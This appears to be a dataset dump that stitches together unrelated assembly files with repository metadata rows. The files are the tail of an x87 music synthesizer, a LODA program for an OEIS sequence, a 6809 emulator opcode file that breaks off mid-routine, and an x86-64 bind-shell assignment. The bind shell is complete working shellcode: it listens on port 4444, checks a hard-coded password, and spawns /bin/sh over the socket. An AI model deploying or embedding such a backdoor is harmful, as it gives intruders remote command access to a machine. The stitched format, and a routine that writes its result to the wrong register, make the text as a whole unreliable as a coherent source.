.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 153
.byte 1
.byte 0
.byte 0
.byte 130
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 177
.byte 1
.byte 0
.byte 0
.byte 202
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 57
.byte 1
.byte 0
.byte 0
.byte 9
.byte 1
.byte 0
.byte 0
.byte 34
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 57
.byte 1
.byte 0
.byte 0
.byte 9
.byte 1
.byte 0
.byte 0
.byte 34
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
module_skip_flags:
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 0
.byte 0
.byte 0
.byte 0
.byte 0
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.byte 1
.text
module_oscillator:
pusha
fld1
flds 16(%esi)
flds 12(%esi)
fadd %st(2)
fmulp
flds _ZL8g_buffer+8
fmulp
fxch %st(1)
flds 0(%ebp)
fadd %st(2),%st
testl $0x80000,(%esi)
jz _skip_noise
fadds fc1
fmul %st
fadd %st
_skip_noise:
fprem1
fstps 0(%ebp)
flds 20(%esi)
fmulp %st,%st(2)
flds 4(%ebp)
fadd %st(2),%st
fprem1
fsts 4(%ebp)
testl $0x10000,(%esi)
jz _osc2_skip_sine
fadd %st
_osc2_skip_sine:
testl $0x20000,(%esi)
jz _osc2_skip_hsin
fldpi
fmulp
fsin
_osc2_skip_hsin:
flds 0(%ebp)
faddp
testl $0x10000,(%esi)
jz _osc1_skip_sine
fadd %st
_osc1_skip_sine:
testl $0x20000,(%esi)
jz _osc1_skip_hsin
fldpi
fmulp
fsin
_osc1_skip_hsin:
fxch %st(2)
fstp %st
fstp %st
fmuls 8(%esi)
popa
osc_end:
ret
module_filter:
pusha
flds 16(%esi)
flds 12(%esi)
fmuls fc1
fmulp
flds 0(%ebp)
flds 4(%ebp)
fsubrp
fmulp
fsin
flds 8(%esi)
flds 12(%esi)
fabs
fmulp
flds 0(%ebp)
fld1
flds 12(%esi)
fabs
fsubrp %st(1)
fmulp
faddp
faddp
fsts 0(%ebp)
flds 12(%esi)
fabs
fadd %st
fld1
fsub %st(1),%st
fmuls 4(%ebp)
fxch %st(1)
fmul %st(2),%st
faddp
fsts 4(%ebp)
fxch %st(1)
fstp %st
filter_end:
popa
ret
small:
.byte 0
.byte 0
.byte 128
.byte 0
module_envelope:
pusha
flds 0(%ebp)
movl 20(%esi),%eax
testl %eax,%eax
jnz module_envelope.in_decay
flds 8(%esi)
faddp
flds 12(%esi)
fcomip
jnc module_envelope.no_switch
incl %eax
movl %eax,20(%esi)
module_envelope.no_switch:
jmp module_envelope.no_decay
module_envelope.in_decay:
flds 16(%esi)
cmpl $1,%eax
je module_envelope.no_release
fmul %st,%st(1)
fmul %st,%st(1)
fmul %st,%st(1)
module_envelope.no_release:
fmulp
module_envelope.no_decay:
flds small
faddp
fsts 0(%ebp)
envelope_end:
popa
ret
synth:
pusha
movl %eax,%edi
movl %edx,%ecx
pusha
leal module_skip_flags,%ebx
leal _ZL8g_buffer+20,%edi
movl $8,%ecx
setup_loop:
pushl %ecx
leal elements,%esi
movl $29,%ecx
_module_loop:
pushl %ecx
movl %edi,%edx
movl $6*4,%ecx
rep
movsb
movb (%ebx),%al
cmpb $0,%al
je _no_mask
movl $0x0f,(%edx)
_no_mask:
incl %ebx
popl %ecx
loop _module_loop
popl %ecx
loop setup_loop
popa
xorl %edx,%edx
synth_loop:
pushl %ecx
cmpl $0x20000,%ecx
jns synth_loop.no_fade
flds global_volume
fmuls end_fade
fstps global_volume
synth_loop.no_fade:
fldz
leal _ZL8g_buffer+20,%esi
leal _ZL8g_buffer+5588,%ebp
movl $8,%ecx
tracks_loop:
pushl %ecx
testl %edx,%edx
jnz notick
movl _ZL8g_buffer+0,%ebx
movb order(%ebx),%bl
imull $8*48,%ebx
movl _ZL8g_buffer+4,%eax
addl %eax,%ebx
xorl %eax,%eax
movb patterns(%ebx),%al
cmpb $0,%al
je notrig
pusha
andb $0x7f,%al
movb $12,%bl
divb %bl
movb %ah,_ZL8g_buffer+16
fildl _ZL8g_buffer+16
fildl oct_semitones
fdivrp
f2xm1
fld1
faddp
movl $1,%ebx
movb %al,%cl
shl %cl,%ebx
movl %ebx,_ZL8g_buffer+16
fildl _ZL8g_buffer+16
fmulp
flds main_tune
fmulp
popa
popl %ecx
pushl %ecx
pusha
negl %ecx
addl $8,%ecx
imull $(2*4*4),%ecx
testb $0x80,%al
jz no_alt_instr
addl $(4*4),%ecx
no_alt_instr:
movl %ecx,%edx
addl $trigger_points, %edx
movl $4,%ecx
trigger_loop:
movl (%edx),%eax
testb $0x01,%al
jz no_trig_osc
andl $0xfffffffc,%eax
addl %esi,%eax
fsts 16(%eax)
jmp trig_done
no_trig_osc:
testb $0x02,%al
jz no_trig_env
andl $0xfffffffc,%eax
addl %esi,%eax
movl $0,20(%eax)
andl $0xfffffffc,%eax
no_trig_env:
trig_done:
addl $4,%edx
loop trigger_loop
popa
fstp %st
notrig:
movl _ZL8g_buffer+4,%eax
incl %eax
cmpl $8*48,%eax
jne no_advance
movl _ZL8g_buffer+0,%eax
incl %eax
movl %eax,_ZL8g_buffer+0
xorl %eax,%eax
no_advance:
movl %eax,_ZL8g_buffer+4
notick:
movl $29,%ecx
element_loop:
pushl %ecx
movl (%esi),%eax
pushl %ebp
testl $0x4,%edi
fld1
jz element_loop.ch_left
testb $0x80,%al
jz element_loop.mono_only
fmuls stereo_mod
element_loop.mono_only:
addl $4096*2,%ebp
element_loop.ch_left:
fstps _ZL8g_buffer+8
andb $0x7f,%al
cmpb $0x00,%al
jne no_osc
call module_oscillator
no_osc:
cmpb $0x01,%al
jne no_filter
call module_filter
no_filter:
cmpb $0x02,%al
jne no_envelope
call module_envelope
no_envelope:
cmpb $0x0f,%al
jne no_silence
fldz
no_silence:
movl 4(%esi),%ebx
testl %ebx,%ebx
jnz not_master_out
faddp
jmp was_master_out
not_master_out:
addl %esi,%ebx
cmpb $0,%ah
je no_op
flds (%ebx)
cmpb $2,%ah
jne no_op_mult
fmulp
no_op_mult:
cmpb $1,%ah
jne no_op_add
faddp
no_op_add:
no_op:
fstps (%ebx)
was_master_out:
addl $6*4,%esi
popl %ebp
addl $4096*2*2,%ebp
popl %ecx
decl %ecx
jnz element_loop
popl %ecx
decl %ecx
jnz tracks_loop
decl %edx
jns was_master_out.no_newtick
movl $8200,%edx
was_master_out.no_newtick:
fmuls global_volume
fstps (%edi)
addl $4,%edi
popl %ecx
decl %ecx
jnz synth_loop
popa
ret
| 8.366775
| 29
| 0.640569
|
25dc491e4c60f01d2e230dffa6624a1e351b0d65
| 303
|
asm
|
Assembly
|
programs/oeis/093/A093135.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/093/A093135.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/093/A093135.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A093135: Expansion of (1-8*x)/((1-x)*(1-10*x)).
; 1,3,23,223,2223,22223,222223,2222223,22222223,222222223,2222222223,22222222223,222222222223,2222222222223,22222222222223,222222222222223,2222222222222223,22222222222222223,222222222222222223
mov $1,10
pow $1,$0
mul $1,10
div $1,45
add $1,1
mov $0,$1
| 30.3
| 192
| 0.765677
|
335c50954610ee6edf32e838a5cf113fc0ddac6d
| 2,474
|
nasm
|
Assembly
|
assignment_1/bind_shell_lean.nasm
|
CodeheadUK/SLAE64
|
e53931acf40345ec136e5f6515cd8ec268aac58e
|
[
"MIT"
] | 2
|
2019-12-23T06:56:03.000Z
|
2020-12-25T13:09:45.000Z
|
assignment_1/bind_shell_lean.nasm
|
CodeheadUK/SLAE64
|
e53931acf40345ec136e5f6515cd8ec268aac58e
|
[
"MIT"
] | null | null | null |
assignment_1/bind_shell_lean.nasm
|
CodeheadUK/SLAE64
|
e53931acf40345ec136e5f6515cd8ec268aac58e
|
[
"MIT"
] | null | null | null |
; An optimised verison on the bind_shell code
; Build with: nasm -felf64 bind_shell_lean.nasm -o tmp.o && ld tmp.o -o bind_shell_lean
global _start
section .text
_start:
mov rbp, rsp
; Build a server sockaddr_in struct on the stack
xor rax, rax
push rax
add ax, 0x5c11
shl rax, 16
add ax, 2
push rax
; Create Socket
xor rax, rax
mov rdx, rax
inc rax
mov rsi, rax ; SOCK_STREAM (1)
inc rax
mov rdi, rax ; AF_INET (2)
add rax, 39 ; syscall 41
syscall
push rax ; Store socket id
; Bind Socket
xor rax, rax
add rax, 49
mov rdi, [rbp-24] ; socket id
lea rsi, [rbp-16] ; sockaddr_in struct
xor rdx, rdx
add rdx, 16 ; sockaddr_in size
push rdx ; create size val ref on stack
syscall
; Listen
xor rax, rax
add rax, 2
mov rsi, rax
add rax, 48
syscall
_accept:
xor rax, rax
add rax, 43
mov rdi, [rbp-24] ; socket id
lea rsi, [rbp-16] ; sockaddr_in struct
lea rdx, [rbp-32] ; pointer to sockaddr_in size
syscall
push rax ; Store client socket id
; authenticate incoming connection
mov rdi, [rbp-40] ; socket id
lea rsi, [rbp-16] ; buffer address
xor rax, rax ; Zero out registers
push rax
push rax
pop rdx
pop r10
mov r8, rax
mov r9, rax
add rdx, 8 ; buffer length
add rax, 45 ; recvfrom
syscall
; compare strings
mov rbx, [rbp-16] ; Get input string
xor rcx, rcx ; build 'password' string
add rcx, 0x64726f77
shl rcx, 32
add rcx, 0x73736170
cmp rbx, rcx ; compare
jne _badpw ; handle failed matches
; good passphrase (fallthrough)
jmp _create_shell ; set up the shell
_badpw:
xor rax, rax ; zero out regs
push rax
pop rsi
add rax, 48 ; shutdown client socket
pop rdi ; last use of client sock id
add rsi, 2 ; SHUT_RDWR
syscall
jmp _accept ; jump back to await another connection
_create_shell:
; Duplicate I/O descriptors
xor rax, rax
add rax, 33 ; dup2
mov r8, rax
mov rdi, [rbp-40] ; client socket id
xor rsi, rsi ; STDIN
syscall
mov rax, r8 ; dup2
inc rsi ; STDOUT
syscall
mov rax, r8 ; dup2
inc rsi ; STDERR
syscall
_spawn:
xor rax, rax
push rax
pop rdx ; less instructions than MOV
mov rbx, 0x68732f6e69622f78 ; build X/bin/sh
shr rbx, 8 ; shift the ¨X¨ and append a NULL
mov [rbp-16], rbx ; copy ¨/bin/sh¨ string to buffer
lea rdi, [rbp-16] ; get the /bin/sh string
push rax ; build args array, by pushing NULL
push rdi ; then pushing string address
mov rsi, rsp ; args array address
add rax, 59 ; execve
syscall
| 20.278689
| 87
| 0.681487
|
5b8d63f127a944408e3bfc923c6de5ccbe5b8a67
| 36,086
|
asm
|
Assembly
|
opcodes2.asm
|
tonypdmtr/emu6809
|
2444447aa00882bc84fd3b0415c81edff4d85883
|
[
"MIT"
] | 1
|
2020-12-11T00:36:51.000Z
|
2020-12-11T00:36:51.000Z
|
opcodes2.asm
|
tonypdmtr/emu6809
|
2444447aa00882bc84fd3b0415c81edff4d85883
|
[
"MIT"
] | 1
|
2020-05-29T14:15:55.000Z
|
2020-06-01T11:29:42.000Z
|
opcodes2.asm
|
tonypdmtr/emu6809
|
2444447aa00882bc84fd3b0415c81edff4d85883
|
[
"MIT"
] | null | null | null |
;*******************************************************************************
; Include: OPCODES2
; Version: 1.20
; Written: July 15, 1990
; Updated: Friday, August 12, 1994 7:52 pm
; Author : Tony G. Papadimitriou
; Purpose: This is an include file with half the opcode routines used by
; the MC6809E.ASM program, an enhanced version of the MC6809E
; emulator program originally written in Turbo Pascal. Because
; it is completely written in Assembly language there should be
; a dramatic speed improvement over the Pascal version.
;*******************************************************************************
proc mcSUBA
call GetEffAddr
cmp [OpCode],80h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
sub al,[A] ; and do the subtraction
mov [A],al ; and save the result
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSUBA
;*******************************************************************************
proc mcCMPA
call GetEffAddr
cmp [OpCode],81h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
cmp al,[A] ; and do the comparison
xchg al,[A] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPA
;*******************************************************************************
proc mcSBCA
call GetEffAddr
cmp [OpCode],82h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
sub al,[A] ; and do the subtraction
test [CC],CarryMask ; is the carry flag set?
jz @@cont ; no, go on
dec al ; else subtract one more
@@cont: mov [A],al ; and save the result
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSBCA
;*******************************************************************************
proc mcSUBD
call GetEffAddr
cmp [OpCode],83h ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[D] ; swap with accumulator
sub ax,[D] ; and do the subtraction
mov [D],ax ; and save the result
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSUBD
;*******************************************************************************
proc mcANDA
call GetEffAddr
cmp [OpCode],84h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
and al,[A] ; and do the logical AND
xchg al,[A] ; and swap back
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcANDA
;*******************************************************************************
proc mcBITA
call GetEffAddr
cmp [OpCode],85h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
push [D]
xchg al,[A] ; swap with accumulator
and al,[A] ; and do the logical AND
pop [D]
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcBITA
;*******************************************************************************
proc mcLDA
call GetEffAddr
cmp [OpCode],86h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
mov [A],al ; put it in 6809 register
cmp al,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDA
;*******************************************************************************
proc mcEORA
call GetEffAddr
cmp [OpCode],88h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xor al,[A] ; put it in 6809 register
mov [A],al ; and save it after operation
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcEORA
;*******************************************************************************
proc mcADCA
call GetEffAddr
cmp [OpCode],89h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
add al,[A] ; and do the addition
test [CC],CarryMask ; is the carry flag set?
jz @@cont ; no, go on
inc al ; else add one more
@@cont: mov [A],al ; and save the result
pushf ; first clear affected flags
and [CC],11010000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: lahf
test ah,00000100b ; check auxiliary flag
jz @@4 ; skip if clear
SHalfCarry
@@4: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcADCA
;*******************************************************************************
proc mcORA
call GetEffAddr
cmp [OpCode],8Ah ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
or al,[A] ; put it in 6809 register
mov [A],al ; and save it after operation
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcORA
;*******************************************************************************
proc mcADDA
call GetEffAddr
cmp [OpCode],8Bh ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[A] ; swap with accumulator
add al,[A] ; and do the addition
mov [A],al ; and save the result
pushf ; first clear affected flags
and [CC],11010000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: lahf
test ah,00000100b ; check auxiliary flag
jz @@4 ; skip if clear
SHalfCarry
@@4: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcADDA
;*******************************************************************************
proc mcCMPX
call GetEffAddr
cmp [OpCode],8Ch ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[X] ; swap with accumulator
cmp ax,[X] ; and do the comparison
xchg ax,[X] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPX
;*******************************************************************************
proc mcBSR
call GetEffAddr
cmp [OpCode],17h ; is it a long or short branch?
je @@16bit
GetByte
inc [PC]
cbw
jmp short @@exit
@@16bit: GetWord
inc [PC]
inc [PC]
@@exit: dec [S]
dec [S]
mov si,[S]
push ax
mov ax,[PC]
PutWord
pop ax
add ax,[PC]
mov [PC],ax
ret
endp mcBSR
;*******************************************************************************
proc mcLDX
call GetEffAddr
cmp [OpCode],8Eh ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
mov [X],ax ; put it in 6809 register
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDX
;*******************************************************************************
proc mcSTA
mov al,[A] ; get the 6809 register
call GetEffAddr
PutByte
cmp al,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTA
;*******************************************************************************
proc mcSTX
mov ax,[X] ; get the 6809 register
call GetEffAddr
PutWord
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTX
;*******************************************************************************
proc mcJSR
call GetEffAddr
push si
dec [S]
dec [S]
mov si,[S]
mov ax,[PC]
PutWord
pop si
mov [PC],si
ret
endp mcJSR
;*******************************************************************************
proc mcSUBB
call GetEffAddr
cmp [OpCode],0C0h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
sub al,[B] ; and do the subtraction
mov [B],al ; and save the result
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSUBB
;*******************************************************************************
proc mcCMPB
call GetEffAddr
cmp [OpCode],0C1h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
cmp al,[B] ; and do the comparison
xchg al,[B] ; and swap back
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcCMPB
;*******************************************************************************
proc mcSBCB
call GetEffAddr
cmp [OpCode],0C2h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
sub al,[B] ; and do the subtraction
test [CC],CarryMask ; is the carry flag set?
jz @@cont ; no, go on
dec al ; else subtract one more
@@cont: mov [B],al ; and save the result
pushf ; first clear affected flags
and [CC],11110000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSBCB
;*******************************************************************************
proc mcADDD
call GetEffAddr
cmp [OpCode],0C3h ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
xchg ax,[D] ; swap with accumulator
add ax,[D] ; and do the addition
mov [D],ax ; and save the result
pushf ; first clear affected flags
and [CC],11010000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: lahf
test ah,00000100b ; check auxiliary flag
jz @@4 ; skip if clear
SHalfCarry
@@4: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcADDD
;*******************************************************************************
proc mcANDB
call GetEffAddr
cmp [OpCode],0C4h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
and al,[B] ; and do the logical AND
xchg al,[B] ; and swap back
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcANDB
;*******************************************************************************
proc mcBITB
call GetEffAddr
cmp [OpCode],0C5h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
push [D]
xchg al,[B] ; swap with accumulator
and al,[B] ; and do the logical AND
pop [D]
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcBITB
;*******************************************************************************
proc mcLDB
call GetEffAddr
cmp [OpCode],0C6h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
mov [B],al ; put it in 6809 register
cmp al,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDB
;*******************************************************************************
proc mcSTB
mov al,[B] ; get the 6809 register
call GetEffAddr
PutByte
cmp al,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTB
;*******************************************************************************
proc mcEORB
call GetEffAddr
cmp [OpCode],0C8h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xor al,[B] ; put it in 6809 register
mov [B],al ; and save it after operation
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcEORB
;*******************************************************************************
proc mcADCB
call GetEffAddr
cmp [OpCode],0C9h ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
add al,[B] ; and do the addition
test [CC],CarryMask ; is the carry flag set?
jz @@cont ; no, go on
inc al ; else add one more
@@cont: mov [A],al ; and save the result
pushf ; first clear affected flags
and [CC],11010000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: lahf
test ah,00000100b ; check auxiliary flag
jz @@4 ; skip if clear
SHalfCarry
@@4: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcADCB
;*******************************************************************************
proc mcORB
call GetEffAddr
cmp [OpCode],0CAh ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
or al,[B] ; put it in 6809 register
mov [B],al ; and save it after operation
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcORB
;*******************************************************************************
proc mcADDB
call GetEffAddr
cmp [OpCode],0CBh ; is it the immediate mode?
jne @@0
inc [PC]
@@0: GetByte
xchg al,[B] ; swap with accumulator
add al,[B] ; and do the addition
mov [B],al ; and save the result
pushf ; first clear affected flags
and [CC],11010000b
popf
jno @@1 ; is it the overflow case?
SOverflow
@@1: jnz @@2 ; is it the zero case?
SZero
@@2: jnc @@3 ; is it the carry case?
SCarry
@@3: lahf
test ah,00000100b ; check auxiliary flag
jz @@4 ; skip if clear
SHalfCarry
@@4: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcADDB
;*******************************************************************************
proc mcLDD
call GetEffAddr
cmp [OpCode],0CCh ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
mov [D],ax ; put it in 6809 register
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDD
;*******************************************************************************
proc mcSTD
mov ax,[D] ; get the 6809 register
call GetEffAddr
PutWord
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTD
;*******************************************************************************
proc mcLDU
call GetEffAddr
cmp [OpCode],0CEh ; is it the immediate mode?
jne @@0
inc [PC]
inc [PC]
@@0: GetWord
mov [U],ax ; put it in 6809 register
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcLDU
;*******************************************************************************
proc mcSTU
mov ax,[U] ; get the 6809 register
call GetEffAddr
PutWord
cmp ax,0
pushf ; first clear affected flags
and [CC],11110001b
popf
jnz @@1 ; is it the zero case?
SZero
@@1: jns @@exit ; is it the negative case?
SNegative
@@exit: ret
endp mcSTU
;*******************************************************************************
proc mcSWI2
cmp [OS9_On],1 ; is OS9 emulation active?
